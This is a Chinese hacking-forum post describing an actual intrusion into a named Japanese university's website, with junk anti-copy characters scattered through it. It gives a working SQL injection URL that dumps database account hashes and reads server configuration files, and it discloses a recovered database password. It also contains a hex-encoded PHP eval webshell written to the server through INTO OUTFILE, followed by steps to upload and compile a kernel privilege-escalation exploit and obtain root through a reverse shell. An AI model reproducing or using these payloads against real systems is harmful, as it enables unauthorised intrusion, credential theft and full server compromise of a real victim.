入侵日本同志社大学技术分析
) p X$ g$ b1 ~
( t, C: q7 p, V; R: yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
* ~- U$ {; a# J( y+ _, p然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# {' x. m7 O/ E* r+ p" g8 t& a4 T
9 \: K- d' k2 A7 S' y: Uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
" C# W8 s- J6 K/ Z5 m3 {2 E* U7 F
8 v0 F. \- M0 }, O7 U% G+ X + o& F. t1 B& N1 U5 k6 P$ K; u
2 i4 \1 h$ l) p6 s//@@datadir为数据库文件路径 ! q" n" A, Y7 f; T6 L
+ l( ^# _( n+ Q0 t6 }
$ e- q8 A% G N# g5 V5 w//load_file读取网站容器apache的配置文件 . \* x& u- g; W( D0 ]2 U6 f; Y
) `/ Z0 J$ v/ `! P$ m5 X
! V) q# \% r! `$ f; v
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 g4 B9 \* b& ?1 |! [$ w1 T8 `" j$ ~复制代码4 m% N5 j7 b# h1 k5 q7 `
9 D, [+ e+ |& L0 c+ w) }$ N" ^
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
5 M- t, Y6 l$ e
! w1 d0 h4 x6 g; H9 ?/ R& F而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
& ?& Y; r# \5 S. M0 l* E3 `(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
! [6 g. E3 l* b2 M+ d- d! B. F1 _/ ]/ F
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
7 z; U# i( Z' |/ P5 y, Z+ I如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
1 t# E4 L3 @) \ J% w; B
2 v8 I5 g* q9 }/ C, |既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
3 \5 ~ x" u4 v/ |2 m8 J虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。7 ]; l6 e5 z0 s: |: a
直接写一句话:
! c. n9 p% ? ?
p8 B, Z8 C& {# J9 c' I. F A* R) a0 Bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
s' A! r/ }& m( Q5 Z
5 f# D5 _& I1 l4 a
" \2 r9 l% K M6 ^1 _# K$ {2 b3 G& N1 O# I8 M* ^* H) b0 R
//最后的#是为了闭合前面的语句
" H0 T* U0 |* C2 Y+ b
+ I6 ~/ @8 _0 l; G/ M0 V6 F* K4 m* m- B" P; ^/ b0 M
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
7 g% I5 m; x& r" C# f; D- n
2 [! e: f; S1 J1 }9 u( ?. T
; N+ P% r/ W/ j ^为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
+ J3 y6 M! S4 {8 k: f$ l% N* e7 m ( J& u3 c9 Y! Q6 M4 }
/ c+ z8 }# @, B: N. C6 q# |//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
, {7 ~" X) [+ M; {: t+ F! T : ^, u2 p) i: ]5 x2 ]( s
' a3 a# e9 H6 u! b0 A9 L
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 / W6 @4 F3 v, T1 p4 H
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” * `) Q# U. k0 f& e# u! V- S) h+ R/ O
复制代码) c+ A8 a) d- {2 X$ X/ [# I
9 C* b$ A8 a0 R( ^* P
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有) T8 g& h4 _9 J' E9 v$ w8 `
通过上述注入语句,我们就得到了一句话木马:
9 M' h3 W& n w. N t* L* g
% N+ ?; l5 h1 R3 v6 M# P) O$ ^ $ O. Q s# H& |7 q7 `
7 Q# T7 y3 V, P1 q ]* { ' s5 O1 }% K1 u4 ?
& u/ P. p1 ]( F. ~" U
http://www.doshisha.ac.jp/english/engnews_img/aa.php
$ V$ G* V8 Q1 F) h复制代码" r% w, S" h' |( Z8 d% W$ T5 ` n
4 R4 @: E1 `* E7 u! L用菜刀连接,密码是cmd,如图所示:
) B% a6 Y8 B9 M然后在命令提示行里看了一下,现在的权限是:- J! ]5 n5 K1 {. v- K: X1 H
! X- _9 u& }) z4 K$ p9 i8 }4 {
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
/ a- w; p0 v) s. ?好在赋权给这个文件夹不需要root,直接执行赋权语句:; M8 w( K. l# V2 d6 I
( h S# \. F- k# z8 x
. `# o1 [8 J( t' m1 a
/ j) O1 H" P0 ]9 W' n 3 b: z) k5 n' M) }5 p, p
& \. g9 R0 ]; N3 C; C9 X* Vchmod +x /tmp/ 1 G A% T3 _3 S w7 M
复制代码! w/ W; ^3 P1 P. k$ O L& G. t- P1 b
+ v' J8 U/ H/ B- Q9 _: I) ?8 G$ |
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行8 z0 v2 e) {" Z8 w) B- X7 Y; M
然后就查了一下内核版本:0 X9 ~5 [2 t5 B Q2 O$ c9 o9 U
- q. h3 L2 ~ l M* N $ V$ O! y1 c- Z( q) X+ b# Q7 n
% z# K# p# o' U
" _ R- [: K' o \
2 W2 @5 n4 \" T, X( Vuname-a $ h9 U' Z& e4 M7 I( o+ Q! a: P: }3 N
% R' g- y, U+ |, ?/ v
6 X% C- i* ^2 R H" Z6 x( M
//其实lsb_release -a
; x/ ^% M' _! x复制代码1 T, b# \1 ~5 N/ m( i% I8 h. X: m
$ ]! a1 x3 g, Q5 }' [如图所示:* s8 e! \( K/ v. F y
3 f8 v1 l1 l- y1 J9 q- b: e内核版本:linux mainz1 2.6.28-194.e15! r0 D W( }) T7 C* r
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 z& c, ]3 m; c5 Q6 Q
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 X+ K8 n2 d, |1 w+ @: o. W, e2 {
然后给予执行权限
$ j; _- T. G" ?; S7 O一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样6 G+ d( v. o( e7 R
( U6 S4 j# S# r7 t" L 6 _3 x* v# e* t
7 S0 R1 m$ t9 S8 S9 B
+ x2 K$ S5 X- J# p$ Q" @/ M; j- ^7 d) d; r, M
chmod +x /tmp/2.6.18-194 y" O( P" B `$ a! J
复制代码 然后直接执行!~
- d/ f/ O& H' t, }+ |9 E
|# ~" t3 b5 X+ ?5 V0 ?总结:
7 N' E L% A: ^# k这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了' z7 h* i+ |! S1 |
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
% L: t' J) ^" Y% P% ^* j/ J3 x- B
|